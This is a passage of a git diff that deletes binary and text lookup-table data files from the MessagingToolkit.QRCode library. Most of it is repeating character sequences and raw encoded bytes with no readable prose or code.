00112233XXYYZZ[[aa``__^^99887766!!""##$$SSTTUUVV\\[[ZZYY**))(('' - - 567899::abbccddehhggffee@@??>>==!!""##$$IIJJKKLLppoonnmm>>==<<;; - - 223399::ddeeffggKKJJIIHH! <<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;:: JJKKLLMM``__^^]]..--,,++ 01122334]^^__``aYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccTTSSMMLL""!! FFGGHHIIgffeeddc<<;;::99 DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -%%&&''((WWXXYYZZXXWWVVUU&&%%$$##;;<<==>>effgghijddccbbaa<<;;::99%%&&''((MMNNOOPPggffeedd::993322 - - ;;<<==>>mmnnooppGGFFEEDD@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766!!""##$$SSTTUUVV\\[[ZZYY**))(('' - - 567899::abbccddeUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggKKJJIIHH JJKKLLMMcbbaa``_87654332 - -  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//.. ))**++,,[[\\]]^^TTSSMMLL""!! ??@@AABBklmmnnoo``__^^]]88776655 ))**++,,QQRRSSTTccbbaa``1100//.. ??@@AABBppoonnmmCCBBAA@@DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -%%&&''((WWXXYYZZXXWWVVUU&&%%$$##;;<<==>>effgghijQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkGGFFEEDD!!""##$$SSTTUUVV_^^]]\\[21100//.$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**--..//00__``aabbKKJJIIHHCCDDEEFFppppoonn\\[[ZZYY44332211 - - --..//00UUVVWWXX__^^]]\\--,,++**CCDDEEFFlkjihggf??>>==<< !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//.. ))**++,,[[\\]]^^TTSSMMLL""!! ??@@AABBklmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooCCBBAA@@%%&&''((WWXXYYZZ[ZZYYXXW.--,,++*(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&11223399ccddeeffGGFFEEDD GGHHIIJJmmllkkjjXXWWVVUU00//..-- - - 11223344YYZZ[[\\[[ZZYYXX))((''&&GGHHIIJJfeeddccb;;::9987 $$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**--..//00__``aabbKKJJIIHHCCDDEEFFppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonn??>>==<< - -))**++,,[[\\]]^^WVVUUTTS*))((''&,,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"" - - ::;;<<==ggmmnnooCCBBAA@@ !!""##$KKLLMMNOiihhggffYYXXWWVVTTSSRRQQ,,++**)) 55667788]]^^__``WWVVUUTT%%$$##"" !!KKLLMMSSbaa``__^65433221 - - (())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&11223399ccddeeffGGFFEEDD GGHHIIJJmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmggffee;;::9933 --..//00__``aabbSRQPONMM&%%$$##" - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  >>??@@AAppppoonn??>>==<< - -$%%&&''(PQRSSTTUeeddccbbUUTTSSRRPPOONNMM((''&&%%99::;;<>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"" - - ::;;<<==ggmmnnooCCBBAA@@ !!""##$KKLLMMNOiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSddccbbaa221100//11223399ccddeeffLLKKJJII"!!  44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBBBBCCDDEEmmggffee;;::9933 ())**++,UVVWWXXYaa``__^^QQPPOONNLLKKJJII$$##""!!==>>??@@eeffgghhJJIIHHGG&&''(())XXYYZZ[[ZYYXXWWV-,,++**) - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  >>??@@AAppppoonn??>>==<< - -$%%&&''(PQRSSTTUeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWW``__^^]]..--,,++ - - ::;;<<==ggmmnnooHHGGFFEE8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>FFGGHHIIddccbbaa221100//,--..//0YZZ[[\\]]]\\[[ZZMMLLKKJJIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccLLKKJJII$$%%&&''VVWWXXYYMMLLKKJJ%%$$##""<<==>>??EEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggHHGGFFEE(())**++ZZ[[\\]]IIHHGGFF!! @@AABBCCAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkDDCCBBAA,,--..//^^__``aaEEDDCCBBDDEEFFGG==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnoo@@??>>== 00112233bbccddeeAA@@??>> !!""##HHIIJJKK99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKpphhggff<<;;::99 - - - -99::;;<>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOeeddccbb33221100 ==>>??@@aa``__^^99887766(())**++PPQQRRSS1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[aa``__^^99887766@@AABBCChhiijjkkQQPPOONN))((''&&(())**++PPQQRRSSaa``__^^//..--,,AABBCCDD]]\\[[ZZ55443322 - -,,--..//TTUUVVWW--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__]]\\[[ZZ55443322 - -DDEEFFGGllmmnnooMMLLKKJJ%%$$##"",,--..//TTUUVVWW]]\\[[ZZ++**))((EEFFGGHHYYXXWWVV1100//.. - - 00112233XXYYZZ[[))((''&&(())**++PPQQRRSSiihhggffAA@@??>>8899::;;``aabbccYYXXWWVV1100//..  !!""##HHIIJJKKppppoonnIIHHGGFF!!  - - 00112233XXYYZZ[[YYXXWWVV''&&%%$$IIJJKKLLUUTTSSRR--,,++** 44556677\\]]^^__%%$$##"",,--..//TTUUVVWWeeddccbb==<<;;::<<==>>??ddeeffggUUTTSSRR--,,++**$$%%&&''LLMMNNOOmmllkkjjEEDDCCBB 44556677\\]]^^__UUTTSSMM##""!! !!""##MMSSTTUUQQPPOONN))((''&&8899::;;``aabbccddeefpvnXv`f~HXQJ`ےbHAZp˂rZ|ddrtA~f`f`vXJXQrے`JXbtlJtAr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vpfH~f`vXpZHAbے`JrbtJtArd|ZdQ`f~HfpvnXvےbHAZp˂rXQJ`tAJltbdQZ|dtAf`vXnvpfZHAbr˂p˂p`Z`ZQXbㅐf۝`vXnvˍpfH~rQtJltbAdtAJltbdQZfH~f`vXnvpے`JXQr˂lJtAd|ZdQbtlHfpvnXv`f~Zp˂rXQJ`ےbHAtbdQZ|drJltnvpfH~ے`J`JXQrQXb㉀ۉۑpJXnvˍpfH~ㅐf۝`vtbAdZ|dtbdQZ|dtAf`vXnvpfے`JXQr˂pZHAb|ZdQbtlJtArdnXv`f~HfpvrXQJ`ےbHAZp˂|drtAJlbnvfH~f`vXXQr˂˂pZpJAHrAHr󙐂ˍpfH~ㅐf۝`vXnvZ|drQtJl|drJltnvpfH~XQr˂pZHAbے`JbtlJtArd|ZdQ`f~HfpvnXvےbHAZp˂rXQJ`tAJltbdQZpfHf`vXnvppZHAbHAbےˁ`Z`ZQXbㅐf۝`vXnvˍp|drQtJltbAdtAJlbnvfH~f`vXpZHAbے`JXQr˂JtArd|ZdQbtlHfpvnXv`fHZp˂rXQJ`ےJltbdQZ|drf`vXnvpfH~ے`J`JXQrQXb㉀ۑpJXnvˍpfH~rQtJltbAdZ|dtbdQZpfHf`vXnvpے`JXQr˂pZHAb|ZdQbtlJtArdnXv`f~fpvrXQJ`ےbHAtbdQZ|drtAJlnvpfH~f`vXXQr˂pZˁ`ZQXAHQXb㉀pfH~ㅐf۝`vtbAdZ|drQtJltijklmnopponmlkj \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_2.dat deleted file mode 100644 index 405fb37..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_3.dat deleted file mode 100644 index f270bac..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv24_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_0.dat deleted file mode 100644 index 14b0760..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv25_0.dat +++ /dev/null @@ -1,233 +0,0 @@ -tstststststststsrqrqrqrqpopopoponmnmnmnmkkkklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQQQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:9:9:9:9:987878787656565654343434343434343212121210/0/0/0/.-.-.-.-tstststststststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:9:987878787878787656565654343434343212121212121210/0/0/0/.-.-.-.-tstststststststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_`_^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABABA@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98777777887878787656565654343434321212121212121210/0/0/0/.-.-.-.-tstststststststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijijijijihghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQQQQQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787887878787656565654343434321212121212121210/0/0/0/.-.-.-.-tstststststststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijijihghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKLKJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787887878777656565654343434321212121212121210/0/0/0/.-.-.-.-tstststststststsrqrqrqrqpopopoponmnmnmnmlklklkkkjijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYZYXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787877878787656565654343434321212121212121210/0/0/0/.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmkkklklkljijijijihghghghghghghghgfefefefedcdcdcdcdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787887656565656565654343434321212121212121210/0/0/0/.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghghghghghgfefefefedcdcdcdcdcbababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQRPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEFEDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97878787865656565656565654343434321212121212121210/0/0/0/.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSQRQRQRQQPOPOPOPOPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:97777778765656565656565654343434321212121212121210/0/0/0/.-.-.-.-.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSQQQQRQRQPOPOPOPOPONMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?@?@?@?>=>=>=>=<;<;<;<;:9:9:9:98787878765656565656565654343434321212121210/0/0/0/0/0/0/.-.-.-.-.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmklklklkljijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]^]\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?@?>=>=>=>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-tstststsrqrqrqrqrqrqrqrqpopopoponmnmnmnmklklkkkkjijijijihghghghghghghghgfefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-tstststsrqrqrqrqpopopopopopopoponmnmnmnmkklklklkjijijijihghghghghgfefefefefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIJIHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-.-,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmnmnmnmnmlklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWXWVUVUVUVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:987878787656565656565656543434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmlklklklklklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababababababa`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSRQRQRQQQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:977777878656565656543434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmkkkkklkllklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbababababa`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUVUTSTSTSTSTSTSTSQQQRQRQRPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCDCBABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmklklklkllklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSQRQRQRQRPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmklklklkllklklklkjijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSRQRQRQQRQRQRQRPOPOPOPONMNMNMNMNMLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/0/.-.-.-.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmklklklkliiiiiijijijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[\[ZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQQQQQRQQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=>=<;<;<;<;<;<;<;:9:9:9:978787878656565654343434343434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmklklklkljijijijijijijijihghghghgfefefefefefefefedcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQQRQRQRQRPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:978787877656565654343434343434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+tstststsrqrqrqrqpopopoponmnmnmnmklklklkkjijijijijijijijihghghghgfefefefefedcdcdcdcdcdcdcbabababa`_`_`_`_`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQQRQRQQQQPOPOPOPONMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIHGHGHGHGHGFEFEFEFEFEFEFEDCDCDCDCBABABABABABABABA@?@?@?@?>=>=>=>=<;<;<;<;<;:9:9:9:9:9:9:977778787656565654343434343434343212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - ,+,+,+,+*)*)*)*)*)('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!        - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#$#"!"!"!"!"!"!"!        - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!              - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!                - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - - - - - - ,+,+,+,+*)*)*)*)('('('('('&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - - ,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - ,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - ,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - ,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!            - - - - 